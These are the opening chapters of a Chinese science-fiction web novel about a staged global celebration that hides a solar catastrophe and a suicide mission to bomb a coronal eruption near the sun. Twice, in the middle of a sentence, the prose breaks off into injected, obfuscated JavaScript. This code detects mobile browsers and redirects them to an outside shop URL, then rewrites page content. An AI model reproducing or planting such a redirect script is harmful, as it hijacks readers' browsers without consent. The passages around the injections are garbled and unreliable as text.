《近日点》 1. 日光的照耀要七倍明亮(上) “紫微星已降临此世。” 薄暮时分,钟声沉缓。 最后的夜光漫过教堂尖顶与石砌街道,穿越彩绘玻璃在长椅上投下斑驳而失真的迷惘;陈年木头、融蜡与尘埃混合浮沉,静得能听见烛芯偶尔的噼啪。 老神父独自站在祭坛前。他没有看摊开的厚重经卷,闭着眼,泛白的橡木台面上如放了什么看不见的重物。 他开口,余音在肋拱间盘旋。 “……那位爱我们,用自己的血解救我们脱离我们的罪过……” 他吐字很慢,每个音节都饱满、清晰,仿佛用舌头仔细度量过重量;没有顿挫或激昂,只是平稳地陈述,却因此不容转圜的向上浮升、触及穹顶后又化作更细密的回响,雨一般落回。 短暂的静默将远处隐约的市声被厚重的门扉滤得模糊不清。 他继续,语调未变,却仿佛注入更深的疲惫,与悲悯的冷峻。 “看,祂乘着云彩降来……” 烛火在他布满沟壑的脸上跳动,一半明,一半暗;他像是这颠倒分野的活体注解,已昭告应来的盛世。 又是一段更长的停顿。 他在等待,等待话语在空旷中自行寻找位置,等待回声彻底沉寂、成为下一句话的基座。 “我指着我自己起誓──上主的断语──众膝都要向我跪拜,众舌都要赞颂天主。” 他的喉结在话语出口时滚动了一下,仿佛真尝到了难以名状的滋味;而“断语”却念得轻飘,带出对那虚妄甘美的嘲讽。 最后的天主落下,没有铿锵的收束,只是平平地消散;他依旧闭着眼,头颅微微仰起,保持着聆听或承受的姿态。 整个句子悬浮在教堂的中央,被宣告出来的现实像一口钟,此刻无声地将它的韵脚一遍遍叩打在听者的意识边缘,让这些对立在重复中失去熟悉的边界开始彼此渗透、混淆,最终呈现出那此世所警示的颠倒混沌的骇人图景。 他不再言语。 只是让那句话连同庞大的寂静、在光的余烬与渐浓的阴影里久久回荡。传经或许已经结束,但涟漪似乎才刚刚开始向不可见的远方漾开。 身后有两道身影,与他相融,不辩谁为日月星。 长音散后,太阳安静燃烧。 【“我自去见那众生苦相。”】 “李素华——饭好了么?” 李素华把饭碗搁在茶几上,米饭还剩一半。她丈夫上个月在近地轨道维修平台遇难,官方报告说是“技术故障”,抚恤金三天前到账,数字体面得让人说不出话。现在她坐在政府分配的安置公寓里,窗外是顺平新区的玻璃幕墙森林,午后阳光斜切进来,在地板上划出锐利的亮斑。 电视正在直播预热节目。 “距离逐日计划人类庆典还有……。”女主播的声音经过特殊处理,温和频率让人那样安心,“我们再次连线天体物理观测中心的林院士……” 镜头切换。 “向诸位问好。” 屏幕上的女人笑意吟吟温和如水,坐在轮椅上覆着毯子,彰显出一派“我这样的人都敢来前线”的各位放心,身后是太阳的实时影像。那些跃动的日珥被渲染成金红色,像古老的图腾。 “民众不需要担心。” “这次异常活动在可控范围内。逐日计划是人类迈向恒星的第一步,是我们向宇宙进发的探索探索,绝非逃亡。” 李素华端起碗,又放下。 “妈,来吃饭啊……” 她想起丈夫最后一次通话。信号很差,他的脸在屏幕里断断续续:“……素华,这边有点不对劲。太阳风预报模型全乱了,上面催我们三天内完成所有加固……不对,这时间根本不够……” 然后信号中断。 再然后,就是那封格式工整的讣告。 电视里开始播放宣传片。宏大的交响乐响起,镜头掠过月球基地的环形山工地、掠过近地轨道上如珍珠项链串联的空间站、最后定格在一艘流线型飞船的设计图上。 银白色船体,舰首昂扬,漂亮的像能刺穿所有真相。 “近日点号。”解说员的语气充满敬畏,“它将抵达离太阳最近的人造轨道,采集的数据将让人类文明飞跃百年。” 房间里的老人颤巍巍出来,李素华关掉电视,怕看见什么“太阳”什么“科技”的,人睹物思情、再想起已去的儿子。 尸骨无存。 房间里突然安静,她能听见楼下儿童的嬉闹声、遛狗大爷叫狗的吵嚷……这座城市还在正常运转。可她丈夫死了,死因被归类为“技术故障”,和太阳异常活动同一天发生。 巧合太多了。 她站起来走到窗边。街道上已经有人群在聚集,手里拿着发放的荧光棒和微型全息旗。孩子们脸上画着飞船图案,年轻情侣互相拍照、背景是广场中央临时搭建的庆典舞台。巨幅投影正在测试,随全息屏缓缓旋转,英雄的面庞自阴影中浮现。 那是昨天才公布的“逐日英雄”。 力挽狂澜,扶人类命运雨水火之中。 两张脸都好看得不像真人。一位表情疏离,笑的清淡从容;另一个眼神亮得像要把屏幕烧穿,似乎并没年轻几岁。 祝觉明,怀从咎。 李素华不认识他们。 但她认识那种眼神。她丈夫决定报名去近地轨道工作时,也是这样看着她的。 他说:“总得有人去。” 现在他回不来了。 ——— 三千公里外,华亭外滩。 “各单位注意,C区人流量已超预期,开放备用疏导通道……” “陈启呢?维持秩序啊!他不是怀从咎最得力的副官吗……” 对公和对私,截然不同的态度。 陈启扒开人群,边按着耳麦试图回应边挤到观景平台最前排;怀从咎出任务,他接替职位、刚通过考核,肩章还没捂热就被派来维持庆典秩序。指挥频道里,长官的声音满是电流杂音,他终于能把消息传出去、目光却不由自主飘向紫微江对岸。 “收到,收到……” 齐家渠的建筑群全部变成了投影幕墙,祝觉明的脸在南天大厦侧面缓缓浮现、高度超过三百米。那双眼睛透过镜片俯视城市,像在计算什么;下一秒切换成怀从咎——他穿着军部特种部队的飞行员制服,背景是个机库,身后是近日点号的早期原型机。 人群发出欢呼。 “真帅啊!”旁边一个女孩举起终端不停拍照,“我听说怀从咎以前在柯伊伯带救过一整支科考队!” “祝觉明更厉害,二十九岁就拿诺奖了……” 陈启没有加入讨论。他调出任务简报,再次确认今日流程:17:00民众集结,18:30领导人讲话;19:00英雄亮相,19:30全球同步启动“逐日倒计时”,20:00庆典演出,持续至午夜。 标准的鼓舞士气流程。 但他记得三天前的保密简报。会议室里上级说的话和现在对外宣传的版本有细微差别。 “如果你们在执勤期间发现任何异常热情行为,立即上报。” 什么叫异常热情? 陈启看向人群。一个老人跪在地上祈祷,手里捧着的不是神像,是近日点号的塑料模型;几个青年在脸上涂满金粉,模拟太阳光芒。更远处,有人举着牌子,上面写“人类荣光永存”。 也许这就叫异常。 “陈启,去B7口,”耳麦传来新指令,“那边需要增援。” “明白。” 他转身挤入人海。经过一个临时饮料摊时,听见摊主正跟顾客闲聊:“听说飞船上有最先进的维生系统,能扛住太阳表面温度!” “何止啊,”顾客是个戴工程师胸牌的中年人,“我同学在联合科学院,他说这次用的是全新能量护盾理论,祝觉明博士独创的……” 陈启加快了脚步。 【“若此即你们所期迎的英雄。”】 地下两千六百米,联合政府中央指挥区临时驻点。 这里没有欢呼,没有音乐。环形大厅里,两百多个工作站整齐排列,操作员们盯着各自屏幕,只有键盘敲击和系统提示音、各种指令此起彼伏。 总控制台位于大厅中央,高出地面三阶。 站在控制台侧翼的女人手里拿着数据板,她三十一岁,穿着监察部的深灰色制服,头发一丝不苟地束在脑后。屏幕上滚动的不是庆典流程,是三百七十四项系统自检报告。 “大气层光学伪装阵列,就绪。” “全球直播信号链路,冗余备份验证通过。” “民众情绪监测网络,在线率99.8%。” …… 每一项后面都有绿色标记。 完美得让人不安。 “签字吧。” 她抬眼看向主位。总长坐在那里,一身黑色常服,肩上没有军衔,胸前没有勋章。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174306|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位联合政府最高决策者很少公开露面,此刻正安静地看着前方的主屏幕——那里分成了十几个小窗,显示着全球各主要城市的庆典现场。 “是。” 她低头,在确认那里,摁下指纹签了名字。 “苏持风。” 东九区,试埔十字路口被人潮淹没。 西七区,岁月广场的倒计时牌正在调试。 东一区,近常吾铁塔通体亮起金色灯光。 “民众参与度超出预期。”苏持风把签完字的板子搁下,“但宣传口径是否过于……乐观?如果任务失败——” “恐惧是最好的催化剂。”总长打断她,没有回头,声音平的像他不是在逗全地球玩儿,“火种计划只有一条路径。要么成功,要么人类文明重置。” 苏持风垂眼,她知道计划的全貌,知道那些没写在正式文件里的代价。三个月前,当她第一次看到祝觉明提交的模型推演结果时,在卫生间吐了十分钟。 理性上她理解。七十亿和两个人的天平,谁都懂怎么选。 感性上…… “监察长。”总长终于转过椅子。他的脸在控制台的背光中显得模糊,只有眼睛清晰——那种眼神苏持风只在少数人身上见过:在手术台前的主刀医生,在发射控制室里的总工程师,在做出不可逆决定的那几秒里,“你负责确保今天所有环节按剧本走。” 包括演员的情绪。 “祝博士那边已经完成最后一次心理校准。”苏持风调出报告,“怀从咎……他的适配度依然在阈值波动。” “波动范围?” “正负百分之七。但模型显示,波动本身可能成为催化因子。” 总长点了点头,像是早已料到。他重新转向屏幕,东九区的画面被放大。镜头正扫过一群残疾人,他们坐在特制轮椅上、每张椅子都插着小旗子。 “你看,”总长愉悦的笑了,“他们甚至为不能行走的人设计了庆祝方式。周到得可怕。” 苏持风沉默。 “你知道为什么庆典选在今天吗?”总长并不在意她的沉默,继续自顾自发问,又自己回答,“官方说法是,近日点号完成最终测试,进入发射窗口期。” “实际呢?” 苏持风调出另一份文件。那是太阳活动监测中心的原始数据,没有经过公关部美化。曲线图在七十二小时前开始剧烈攀升,峰值触发了红色警报线。 “实际是,”她闷笑,“太阳风粒子流将在九十六小时后抵达地球轨道。如果近日点号不能在此之前完成部署并引爆炸弹,地磁层会被撕开缺口。三个月内,辐射剂量将达到致命水平。” “九十六小时。”总长重复这个数字,语气愉悦,“而我们还要花四小时办一场派对。” 大厅里安静了几秒。 某个工作站传来压抑的咳嗽声。 “怀从咎的背景调查里,”苏持风忽然像想起来了什么,“有一段记录被加密了。我申请了三级权限,还是打不开。” “哪一段?” “他十四岁那年,在肃州禄福的野外夏训。当地发生过一起异常天文现象,”苏持风斟酌着用词,“档案记载是球状闪电,但目击报告描述的不太一样。之后怀从咎住院两个月,出院时锁骨多了那道灼痕。” 观照的表情没有任何变化。 “那道痕,”他慢慢的,似乎在品味又似乎在回味,“不是伤疤。” 这又不是童话故事,烧一下就搞出什么多少年后命运改变的异能。 “那是什么?”苏持风扶着椅背,“……但他是被选中的吧。” “门票。” 说完这两个字,总长不再解释。他抬手在控制台上点了几个键,主屏幕切换到另一个画面——不是庆典现场,而是一个纯白色的房间。祝觉明坐在里面,穿着便服,正在平板电脑上写着什么。镜头拉近,能看到他左手无名指上的铂金戒指,表面有极细微的电路纹理。 “脑波抑制器。”总长像是自言自语,“他把噪音关掉,才能听见宇宙真实的声音。” 苏持风忽然觉得冷。明明指挥大厅恒温恒湿。 “您到底在计划什么?” 她问得很轻,轻到几乎被系统风扇的旋转盖过。 总长笑了。那是苏持风第一次见他在这里笑那么开心,嘴角的弧度精确得像用尺子量过。 “我在计划,”他偏头,“让人类通过一场考试。” 2. 日光的照耀要七倍明亮(下) 地面,黄昏降临。 春明市,国家体育场“逐日广场”。 这是三天前刚改的名字。原本的奥运场馆被重新布置,中央舞台搭成飞船发射台的样式;四周看台坐满抽签选中的幸运民众,更多人在场外广场聚集,通过全息投影观看实况。 李素华最终还是来了。 她说不清为什么。也许是想在人群里找回一点活着的实感,也许是想看看那两个“英雄”长什么样、或也许只是不想一个人待在公寓里面对丈夫的遗像。 志愿者发给她一个手环,戴上后会在庆典高潮时同步发光;还有一副简易全息眼镜,可以增强视觉效果。 “姐姐,您坐这边!”一个年轻志愿者热情地引导,“离舞台很近的!” 李素华被安排在内场第七排。坐下后环顾四周,左边是一大家子人,老奶奶抱着孙子;右边是几个大学生,正在争论祝觉明理论的某个细节。爆米花的甜腻味、电子设备发热的焦糊味、人群聚集特有的温热体味…… 正常得诡异。 【00:43:21。】 舞台上的倒计时牌如此显示。 大屏幕开始播放纪录片。讲述人类探索太阳的历史:从古代的太阳神崇拜,到第一架太阳望远镜;到发射帕克太阳探测器,再到近日点号的设计突破。旁白浑厚有力,配乐激昂向上;放到帕克号传回的第一批日冕数据时,李素华旁边的大学生发出赞叹。 “当时的技术能做到那样,真的了不起。” “但跟现在比就是玩具,近日点号能飞到它的十倍近!” “你说祝觉明到底怎么解决散热问题的?那个距离上……” 李素华闭上眼。 她丈夫也爱聊这些。晚饭时,他会一边扒拉米饭一边说今天在轨道上修了哪个传感器、看见地球弧度在窗外怎样弯曲,太阳从月球边缘升起来时有多亮。 “素华,你真该上去看看。” “我怕高。” 她总是如此回答。其实不是怕高。是怕他上去后,就不想回来了。 纪录片进入尾声。画面切到近日点号的制造过程:船体在月面工厂分段成型,由重型穿梭机运到近地轨道组装、工程师在无重力环境里像搭积木一样拼接。 最后一个镜头,飞船完整呈现在轨道船坞中,银白色外壳反射着地球的蓝光。 美得不像真的。 【00:15:00】。 “请各位就坐,庆典即将正式开始。请检查手环电源,稍后我们将进行同步测试。” 李素华低头看手腕,手环在此刻亮起绿灯。 “五、四、三、二、一——” 全场手环同时变成金色,十万个光点在看台上亮起,像浮出一片星海;有人惊呼,孩子们兴奋地挥舞手臂,光流在空气中划出痕迹。 李素华抬手,金光映在她皮肤上,衬得那些细微皱纹更加明显。四十五岁,失去丈夫,无子女,未来可能还要失去这颗星球。 但她手腕在发光。 多荒谬。 ——— 华亭外滩。 陈启终于换岗休息,他靠在警戒线后的临时休息点,接过队友递来的能量饮料;江对岸,齐家渠的建筑群已经开始灯光秀,金红两色的光浪沿着楼体滚动,模拟太阳风掠过飞船护盾的效果。 “真舍得下本钱。”队友咂嘴,“听说这次庆典预算够建三座医院。” 陈启没接话。他打开个人终端,调出加密相册。里面只有一张照片:他哥哥,穿着同样的特遣部队制服,站在火星殖民地的红色沙丘上。 那是五年前,哥哥随科研队去火星,说三年就回来。 第二年,火星基地发生“系统故障”,全员失联。 官方报告写了八十页,结论就一句: 不可抗力事故。 和太阳有关吗?陈启不知道。他只记得哥哥最后一条信息: “这边天空有点奇怪,太阳看起来比地球上的大,但是好漂亮。” 倒不是视觉上的大。哥哥是工程师,描述很精确:“是色球层的活动范围超出了模型预测,基地的天文台已经连续报警两周了。但他们让我们继续工作,说没事。” 然后就没有然后了。 “陈启!”耳麦里传来队长声音,“B3区有民众情绪激动,疑似过度亢奋,带医疗组过去看看!” “收到。” 他灌完剩下的饮料,塑料瓶扔进回收箱。走向B3区的路上经过一个街头艺人,那人用全息投影在表演,画面里是一艘小飞船飞向燃烧的太阳,配乐悲壮。 围观群众在鼓掌。 陈启加快脚步。 ——— 地下指挥大厅,最后准备阶段。 苏持风面前的屏幕列着所有关键节点的状态: 祝觉明——位置:准备室A。 生理指标:平稳。 脑波谱:抑制器工作正常,背景噪音低于阈值。 怀从咎——位置:准备室B。 生理指标:心率偏高。 脑波谱:异常波动持续,灼痕区域能量读数上升。 近日点号——位置:近地轨道船坞。 系统自检:完成97%。 燃料加注:进行中。 地球同步轨道防御阵列——状态:待命。 协议:第七章。 最后一项让苏持风停顿了一下。她调出协议第七章的摘要,只有一行字: “当文明延续概率低于设定阈值时,启动自动裁决程序。” 阈值是多少?程序具体内容是什么? 她的权限不够查看。 “监察长。”技术员报告,“全球情绪监测网显示,信任指数上升至百分之八十九,恐慌指数降至百分之七。宣传效果显著。” “异常反应区域呢?” “十七处,都在预期范围内。已派遣心理干预小组。” 苏持风点头。一切按计划进行。 太按计划了。 她忍不住看向总长,他仍然坐在主位,现在正闭着眼、像是在养神,又像在聆听什么;有传言说他年轻时曾是顶尖的理论物理学家,后来转入政界,三十年内爬到权力顶峰。 也有传言说他根本不是人类,是早期人工智能的化身。 苏持风更相信前一种。 因为已经有林静渊这个智能体了。 她觉得自己有一个不是人的同事就够了。 倒计时【00:05:00】。 大厅里的气氛微妙地紧绷起来。操作员们坐得更直,敲键盘的声音变得密集;主屏幕切换到庆典现场——国家体育场,镜头从高空俯瞰,十万金色手环组成旋转的光涡。 音响传来地面主持人的声音,经过处理,听起来既激动又克制:“……这是一个历史性的时刻,人类将直面恒星,拥抱未知。我们的勇气,我们的智慧,将为我们开启新的纪元……” 陈词滥调。苏持风想。 但有效。 她看见镜头扫过观众席。一张张脸孔仰望着,眼睛反射舞台的光;老人,青年,孩子,不同肤色,不同国籍……他们真的相信这是一场探索,相信英雄会带回希望,相信明天太阳照常升起。 他们不知道炸弹已经装在飞船上。 不知道所谓“探索”是去引爆它。 不知道即使成功,也有百分之三十的概率会引发连锁反应,把地球拖入更糟的境地。 总长忽然睁开眼睛。 “时间到了。”他微笑,“确认权限……” ——观照。 苏持风看向时钟: 00:00:00。 地面,主持人提高音量:“现在,让我们欢迎——逐日计划的英雄,人类文明的先锋,祝觉明博士,和怀从咎指挥官!” 音乐推向高潮。 但祝觉明没有出现。 怀从咎也没有。 舞台空着,追光灯在空处交叉。 观众席开始骚动,小声议论像水波扩散。导播显然也慌了,镜头胡乱切换,一会儿拍空舞台,一会儿拍观众困惑的脸。 苏持风猛地站起:“地面什么情况?!” “不、不知道……”负责联络的操作员声音发颤,“准备室报告两人都已出发,但通道监控没拍到……” 观照却很平静。他甚至向后靠了靠,手指在扶手上轻敲。 三秒。 五秒。 十秒。 就在骚动要变成恐慌时,舞台中央的地板打开了。 但不是升降台。 是两块地板像花瓣一样向两侧滑开,露出下面的透明管道;管道里两个人正沿着不同的弧线向舞台中心滑来,像乘着气流飘浮。 祝觉明在左,怀从咎在右。 他们都穿着黑色的任务服,但款式不同。祝觉明的更接近实验室白大褂的剪裁,怀从咎的则明显带有飞行服的功能性设计。两人在管道中没有任何动作,任由传送系统将他们送到预定位置。 当他们在舞台中央交汇时,管道停止,地板合拢。 灯光骤亮。 那一刻,苏持风从监控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174307|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画面里清晰地看到:祝觉明的左手无名指,戒指表面有蓝光一闪而过。而怀从咎的右手下意识抬了抬,像要摸锁骨位置,又在半空中停住。 尔后怀从咎笑了。 那笑容和他宣传照上的一模一样,张扬,自信,充满生命力。他朝观众席挥手,引发海啸般的欢呼。 祝觉明只是点了点头。幅度很小,但足够被镜头捕捉。 主持人如释重负,声音重新饱满起来:“女士们先生们,我们的英雄——!” 后续的话被欢呼淹没。 苏持风慢慢坐回椅子。她调出刚才管道系统的日志,发现启动指令不是来自地面控制组,而是来自指挥大厅。 来自观照的控制台。 “您早就安排好了。”她发现自己浑身冷汗,“为什么?” “仪式感很重要。”观照没有否认,“他们从地下升起,像从文明深处浮现的答案。视觉效果比走楼梯好得多。” “但怀从咎刚才的反应……他像是感觉到了什么。” “他当然感觉到了。”观照的目光落在怀从咎的实时画面上。镜头正给灼痕特写,那道从锁骨延伸到肩头的纹路,在强光下呈现出琥珀色的半透明质感,“那是对高维扰动的本能反应。就像地震前动物会不安。” “您真的认为,”苏持风有些后悔自己接了这个什么计划监察长,“把他们俩送进太阳,能改变什么?” “不是送进太阳。”观照纠正她,“是让他们在近日点——太阳与人类文明之间最危险也最亲密的距离上,完成一次共振。如果他们的意识能达到模型预测的协同态,产生的波形就能干扰审判程序的执行逻辑。” “如果达不到呢?” “那就格式化重来。”观照说得很轻松,“宇宙不缺文明试验场。” 苏持风心想自己现在辞职还来得及吗。 顺便替上面那俩也把职辞了。 舞台上,祝觉明开始讲话。他的声音通过扩音系统传遍全场,平静清晰公事公办,每个字都像经过校准: “感谢各位的信任。” “近日点号将在三小时后发射。我们携带的不仅是仪器,还有人类对未知的好奇,对生存的渴望。数据会证明,文明值得延续。” 标准发言。但苏持风注意到,祝觉明说“值得”时,眼睛看向了怀从咎。 不是看镜头,不是看观众。 是看向身旁那个唯一能和他一起赴死的人。 怀从咎接过话筒。他没按提词器,开口就是:“我不会说漂亮话。但我会把飞船开到该去的地方,做完该做的事,然后……” “——然后我们所有人一起回家。” “回家”两个字引发更激烈的欢呼。 李素华在第七排,看着那两个被光笼罩的人。祝觉明站得笔直,像一棵不会弯曲的树;怀从咎稍微放松,重心落在一条腿上,随时能起跑的样子。 她忽然想起丈夫的葬礼。也是这么多人,也是这么多花圈,也是发言人念着格式统一的悼词。 那时她觉得,死亡这么重的事,不该被说得那么轻。 现在她觉得,生存这么重的事,也不该被说得那么轻。 但周围的人都在鼓掌,在呐喊,在流泪;金色手环的光芒随着节奏明灭,像一片会呼吸的星海。 也许是她错了。 也许人就需要这种轻,才能扛住那种重。 陈启在外滩的警戒线后,也看着直播画面。怀从咎说完“回家”后,镜头给了一个特写。他看见指挥官脖子上的灼痕,在舞台激光扫过时,短暂地泛出虹彩。 像石油在水面的光泽。 像他说不清的东西。 他按了按自己的肩膀——那里什么也没有,只有制服布料粗糙的触感;但莫名的,他觉得有什么东西在跳动,和远方舞台上的光同步。 很荒谬的感觉。 那一定不是他的心跳。 他摇摇头,继续执勤。 地下指挥大厅,观照站了起来。 他走到主屏幕前,背对所有人;画面上,祝觉明和怀从咎正接受儿童献花,两个孩子跑上舞台,把花束塞进他们怀里。怀从咎蹲下来和孩子们说话,祝觉明站着、但微微俯身。 温馨的画面。 “情绪峰值达到了。”技术员报告,“全球同步率百分之九十一,信任指数突破百分之九十。” 观照看着屏幕上怀从咎的笑容,祝觉明镜片后平静的眼睛,观众席上十万张仰望的脸。 尔后他略微后仰。 “演员就位,舞台点亮。” 3. 地球马上就爆炸 七日前。 “十五分钟后,太阳的光芒将吞噬这里所有的一切。” “我的意思是,生存概率无限接近于零。” 环形会议室里,这句话落下来,没有回音。 祝觉明站在长桌前,身后的全息投影无声旋转;那是一颗正在崩溃的太阳模型——精确说,是太阳的某一段局部。日冕物质抛射被分解成七层不同颜色的数据流,每一条都像有生命的触须,蜿蜒着扑向投影中央那个微小的蓝色光点。 地球。 他推了推眼镜,镜片反射着模型的光;他的声音像读实验报告一样每个字都经过称量,平的没有一丝一毫故作镇定。 三十五岁,天体物理学首席科学家;人类史上最年轻的时空拓扑学诺奖得主,此刻正穿着深灰色衬衫,袖口挽到小臂,左手无名指上的铂金戒指泛着哑光。 会议室里坐了十三个人。 长桌主位空着。左侧是军方和行动部门的人,右侧是科学院和监察机构。空气循环系统机械的送着风,但没人觉得空气在流动;所有人都盯着那个模型,盯着那条最粗的红色数据流——它还有十四分三十秒就会触碰到地球图标。 “说具体数字。” 说话的是个穿联合政府制服的中年男人,祝觉明抬起手,在投影边缘划了一下。一行数字跳出来: 0.000000000017% “这是基于当前所有可用模型、计入所有已知变量、优化到理论极限后的结果。”他微笑,“如果考虑太阳活动仍在加速异常,这个数字会再降三个数量级。” 您怎么看,聂谊生长官? 所有人都沉默者看向刚才开口的中年人,本次会议的召集人、也是“救世计划”名义上的总指挥。 坐在长桌最末端的人动了动。 他穿着特遣部队的黑色作战服,肩线裁得利落,像刀锋;之前一直靠在椅背上,双手抱胸,目光没看模型,而是盯着会议室的天花板。现在他坐直了,椅子腿在地面摩擦出短促的刺响,但没他说话的声音响。 “无限接近于零,意思就是还有可能。” 所有人都看向他。 怀从咎。三十三岁。前王牌飞行员,现特遣行动指挥官。 档案里写他“穿越过柯伊伯带混沌区并生还”,那地方之前有无数科考队失踪。 他右锁骨下方有一道淡金色的痕迹,从衣领边缘露出来一点,像是旧伤;但质地奇怪,像琥珀封住了火。 祝觉明也看过去。两人的目光在长桌上方撞上——一边是镜片后校准过的理性,一边是野火般不驯的直觉。 “在数学上,”祝觉明依旧笑的不显山不露水,“这个概率和零没有区别。” “在现实里,”怀从咎站起来,“区别就是有人还坐在这儿开会,而不是躺平等死。” 他的动作让作战服发出布料摩擦的轻响。起身后能看清他的身形:比标准飞行员体格更结实,肩膀宽,但站姿放松,重心微微前倾,像随时能扑出去。 会议室里更安静了。 搞不清楚他是讽刺他们还有闲情逸致开会、还是真心实意夸他们还知道开会解决问题。 祝觉明看着他,半晌接话:“怀从咎,你的档案显示你处理过十七次超S级太空危机,生还率百分之百。” “所以?” “所以你应该明白,当概率低于阈值时,冒险不再是勇气,是浪费资源。” 怀从咎笑了。不是开心的笑,是“果然如此”的笑;他绕过椅子,走到长桌侧面,沿着空处朝祝觉明那边走、作战靴踩在地毯上,几乎没有声音。 “博士,我处理过的第一次S级危机,”他边走边张开双臂,“是在木星轨道。引擎全熄,氧气剩四十分钟,辐射风暴正在袭来。当时舰载AI算出的生还概率是百分之零点三。” 他在祝觉明对面停下,隔着咫尺之遥。 “我们活下来了。”怀从咎偏头,“靠AI重新计算是等死的,我拆了通讯模块的屏蔽层,手动给反应堆点火——当时操作手册上写的是禁止,会导致即刻爆炸。” “幸存者偏差。”祝觉明的表情没有任何变化,“一万次同样的情况,只有你们那次成功了。” “但那次成功了。”怀从咎盯着他,“而我们现在讨论的,就是那一次。” 两人的对峙让会议室温度又降了几度。 这时,坐在祝觉明右侧的一个男人动了。他穿联合政府内部安全部的制服,四十岁上下;五官像用尺子量过位置,每个角度都标准得过分。 他从面前的终端调出一份文件,手指在桌面一划;文件化作光流滑向长桌中央,展开成半透明的执行清单。 【近日点号任务——最终确认】 下面列着三百多项条目,从飞船状态到人员配置,每项后面都有红色或绿色的标记。 署名:郭山错。 计划安保与执行总长。 郭山错没有看任何人,只是把清单推向桌子正中央: “模型推演已完成第十七轮迭代。根据协议,当生存概率低于设定阈值时,清单进入强制执行阶段。所有条目必须在两小时内确认。” 清单悬停在那里,怀从咎瞥了一眼,又把目光转回祝觉明:“所以这就是你们的计划?算出一堆数字,然后扔个清单出来,等人签字?” “计划有详细内容。”祝觉明下颌微抬,“你可以看。” “那我问你,”怀从咎向前迈了一步,“省略所有术语,所有公式,所有基于当前模型。只告诉我——” 他停住,目光钉在祝觉明脸上,锲而不舍。 “——你最疯狂的那步棋,在哪里?” 会议室里连呼吸声都轻了。 祝觉明沉默了三秒。 这三秒里,他左手无名指的戒指表面,掠过一道极淡的蓝光——快得像是错觉;尔后他抬手,在投影上点了个位置。 模型放大。 太阳表面,一个特定的坐标亮起。 距离光球层极近,近到周围的日冕物质都扭曲成漩涡状。 “这里。”祝觉明没有看怀从咎,“在日珥抛射路径上,有一个理论存在的磁力线结节。如果能在结节形成的二十七秒窗口期内、在距离太阳表面零点三个天文单位的位置引爆炸弹,爆炸冲击波有可能与结节共振,产生足以偏转抛射体的定向冲击。” 说到这,他才重新转回目光。 “注意,是有可能。模型置信度百分之三十七。” “零点三个天文单位,”怀从咎重复这个数字,“有多近?” “比人类历史上任何探测器近十五倍。近日点号需要承受的温度和辐射,是设计极限的六倍。” “船体会怎样?” “外层装甲将在接触后四分钟内熔毁。内部维生系统依靠的是临时强化的能量护盾,理论维持时间十一分钟。” 怀从咎笑了。这次是真的笑了,眼睛里却没有笑意。 “十一分钟,”他点头,“去引爆,偏转,然后逃出来?” “没有逃出来的环节。”祝觉明纠正他,“十一分钟是任务执行窗口。引爆后,冲击波需要七分钟传播到有效距离;剩余四分钟,飞船会继续坠向太阳——那是计算好的轨迹,为了确保爆炸能量最大化聚焦。” 他说得很清楚。每个字都清楚。 怀从咎脸上的笑消失了。 “你是说,”他慢慢转身,“这是一次自杀任务。” “是一次必要牺牲。”祝觉明轻轻摇头,“用一艘船,换七十亿人。” “用船上的人换。” “是的。” 会议室里终于有人忍不住了。一个年轻的研究员——看起来不到三十岁——站起来,声音发颤:“但、但如果有其他方案……” “没有。”祝觉明打断他,“过去七十二小时,全球十七个顶尖团队运行了四百三十种推演。这是唯一一个概率不为零的方案。” 他调出另一组数据。屏幕上列出所有被否决的方案:用月球做盾牌(失败概率99.98%),用轨道阵列散射(失败概率99.99%),用核弹群在远距离提前引爆日冕抛射(失败概率100%,因为无法突破太阳风层)…… 每个方案后面都有详细的计算过程。 太绝望了。 年轻研究员跌坐回椅子。 这时,会议室里响起另一个声音,从全息投影区;一个女性的三维影像浮现在长桌另一侧的空位上。她看起来五十多岁,穿着白色研究袍,坐在轮椅上,目光恬静。 林静渊,神经链接学奠基人之一,三年前因实验事故瘫痪,此后以全息影像参与所有重大会议。 她的目光扫过全场,最后停在怀从咎身上。 不,更准确说,是停在怀从咎身后——那里是模型投影的区域,但此刻除了太阳数据流,还有一片极细微的、不断闪烁的光点群。 那是祝觉明模型中的隐藏图层,标记为“高维意识场扰动观测数据”。 林静渊看了那些光点两秒,尔后才把视线移回怀从咎脸上。 “怀从咎,”她的声音通过扬声器传出,有轻微的数字合成感,“你的身体对深空辐射有过特殊反应记录。档案显示,你在柯伊伯带事件后,接受了三个月的神经适应性训练。” 怀从咎侧头看她:“那是体检流程。” “不完全是。”林静渊没在意他的敌意,“训练内容包含对非标准能量场的感知测试。你的成绩在标准差之外。” “说明什么?” “说明你可能比常人更能感知危险。”林静渊选词谨慎,“这对于需要极限操作的任务,可能是优势。” 怀从咎皱了皱眉,他没接话;会议室的门这时被推开,陈启进来,抱着一堆装备箱。 “装备库那边在校准,”他气喘吁吁,把箱子放在墙边,“非要我签字才放行……” 他抬起头,发现所有人都在看他。 会议室,长桌,凝重的气氛,悬在中央的太阳模型和那个触目惊心的概率数字。 陈启愣了一下,尔后走到怀从咎身边,压低声音——但会议室太安静,所有人都能听见: “老大,我刚看了飞船的最终参数。护盾系统被我调过了,现在峰值输出能再提百分之五。虽然还是不够,但总比没有强。” 